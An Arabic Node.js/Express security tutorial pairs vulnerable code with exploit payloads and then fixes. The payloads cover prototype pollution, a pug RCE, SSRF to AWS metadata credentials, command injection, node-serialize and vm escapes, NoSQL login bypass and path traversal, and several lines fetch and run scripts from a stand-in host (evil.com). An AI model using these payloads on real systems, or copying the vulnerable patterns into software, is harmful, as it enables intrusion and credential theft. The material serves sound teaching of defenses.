أمن Node.js و Express — استغلال متقدم

// كود ضعيف — merge عميق ساذج (مثل lodash.merge قبل الإصلاح)
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// المهاجم يرسل JSON
app.post('/api/profile', (req, res) => {
  merge({}, req.body);   // <-- !!
  res.send('ok');
});

// payload
{
  "__proto__": {
    "isAdmin": true,
    "shell": "/bin/sh -c 'curl evil.com|bash'"
  }
}

// بعد هذا، {} في أي مكان في التطبيق يحوي isAdmin === true

// CVE-2019-10744 (lodash) — مثال PoC للـ RCE عبر pug
fetch('/api/profile', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    "__proto__": {
      "block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').exec('curl evil.com/x.sh|sh')"
      }
    }
  })
});

// كود خطر
app.get('/fetch-image', async (req, res) => {
  const r = await axios.get(req.query.url, {responseType: 'stream'});
  r.data.pipe(res);
});

// PoC للوصول لـ AWS IMDS من خلال عدم فحص hostname
GET /fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

// أو DNS rebinding — يخدم 1.1.1.1 ثم يتغيّر للـ 169.254.169.254
GET /fetch-image?url=http://rebind.evil.com/latest/...

// أو URL parser confusion (Node URL vs WHATWG URL)
GET /fetch-image?url=http://attacker.com#@169.254.169.254/

// الدفاع — allowlist + IP literal check + DNS resolve يدوي
import dns from 'dns/promises';
import ipaddr from 'ipaddr.js';

async function safeFetch(url) {
  const u = new URL(url);
  if (!['http:', 'https:'].includes(u.protocol)) throw new Error('proto');
  const addrs = await dns.resolve(u.hostname);
  for (const a of addrs) {
    const range = ipaddr.parse(a).range();
    if (range !== 'unicast') throw new Error('private/special IP');
    if (a.startsWith('169.254.') || a.startsWith('127.') || a.startsWith('10.')) throw new Error('blocked');
  }
  // Pin DNS — احكم على الـ IP و مرّره مباشرة
  return axios.get(url, { lookup: (h, opts, cb) => cb(null, addrs[0], 4) });
}

// خطر — exec مع user input
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
  exec(`ping -c 4 ${req.query.host}`, (err, out) => res.send(out));
});

// PoC
GET /ping?host=8.8.8.8;curl%20evil.com/x.sh|sh

// أيضاً خطر — execFile مع shell:true
execFile('sh', ['-c', `echo ${req.query.x}`]);   // injection

// آمن — execFile بدون shell + arguments array
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', '--', host], (err, out) => ...);
// لاحظ '--' لمنع flag injection

// node-serialize PoC
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', (e,o)=>console.log(o))}()"}

// vm escape
const vm = require('vm');
const sandbox = {};
vm.runInNewContext(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()`, sandbox);
// → uid=0(root)

// آمن — استخدم isolated-vm إن احتجت sandbox فعلي
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({memoryLimit: 8});

// خطر — body parsed يحوي operators
app.post('/login', async (req, res) => {
  const user = await User.findOne({ name: req.body.name, pass: req.body.pass });
  if (user) res.send('ok');
});

// المهاجم يرسل JSON
{"name": "admin", "pass": {"$ne": null}}
// $ne null = أي pass != null = bypass

// أخطر
{"name": {"$gt": ""}, "pass": {"$gt": ""}}   // أول user

// JS injection في $where
{"$where": "this.name == 'admin' && sleep(5000)"}   // blind oracle

// الدفاع
import mongoSanitize from 'express-mongo-sanitize';
app.use(mongoSanitize({ replaceWith: '_' }));

// أو schema strict
const user = await User.findOne({
  name: String(req.body.name),
  pass: String(req.body.pass)
});

// خطر
app.get('/files/:name', (req, res) => {
  res.sendFile(path.join(__dirname, 'uploads', req.params.name));
});

// PoC
GET /files/..%2f..%2f..%2fetc%2fpasswd
GET /files/..%252f..%252f   # double-encode إذا كان هناك decode مرتين

// عبر symlinks
GET /files/symlink_to_root

// الدفاع
const safe = path.normalize(req.params.name).replace(/^(\.\.[\/\\])+/, '');
const full = path.join(__dirname, 'uploads', safe);
if (!full.startsWith(path.resolve(__dirname, 'uploads') + path.sep)) {
  return res.status(403).end();
}
// + fs.realpath لكشف symlinks
const real = await fs.promises.realpath(full);
if (!real.startsWith(uploadsRoot)) return res.status(403).end();

# الدفاع
npm config set ignore-scripts true            # امنع postinstall افتراضياً
npm install --ignore-scripts <pkg>
npm audit && npm audit fix
npm ls --all                                  # شجرة كاملة
npx better-npm-audit                          # تجاهل CVEs بـ justification

# Lockfile lint
npx lockfile-lint --type npm --path package-lock.json \
  --validate-https --allowed-hosts npm

# Socket.dev / Snyk / GitHub Dependabot
# Sigstore + npm provenance — توقيع الحزم رسمياً (npm publish --provenance)

import express from 'express';
import helmet from 'helmet';
import rateLimit from 'express-rate-limit';
import mongoSanitize from 'express-mongo-sanitize';
import hpp from 'hpp';

const app = express();
app.disable('x-powered-by');                     // لا تكشف Express
app.set('trust proxy', 1);                       // فقط reverse proxy واحد
app.use(helmet());                               // CSP/HSTS/XSS-Protection
app.use(express.json({ limit: '100kb' }));
app.use(mongoSanitize({ replaceWith: '_' }));
app.use(hpp());
app.use(rateLimit({ windowMs: 60_000, max: 100 }));

// CSP صارم
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-{{nonce}}'"],   // لا 'unsafe-inline'
    objectSrc: ["'none'"],
    frameAncestors: ["'none'"],
    upgradeInsecureRequests: []
  }
}));

// Cookie آمنة
app.use(session({
  secret: process.env.SECRET,
  cookie: { httpOnly: true, secure: true, sameSite: 'strict' }
}));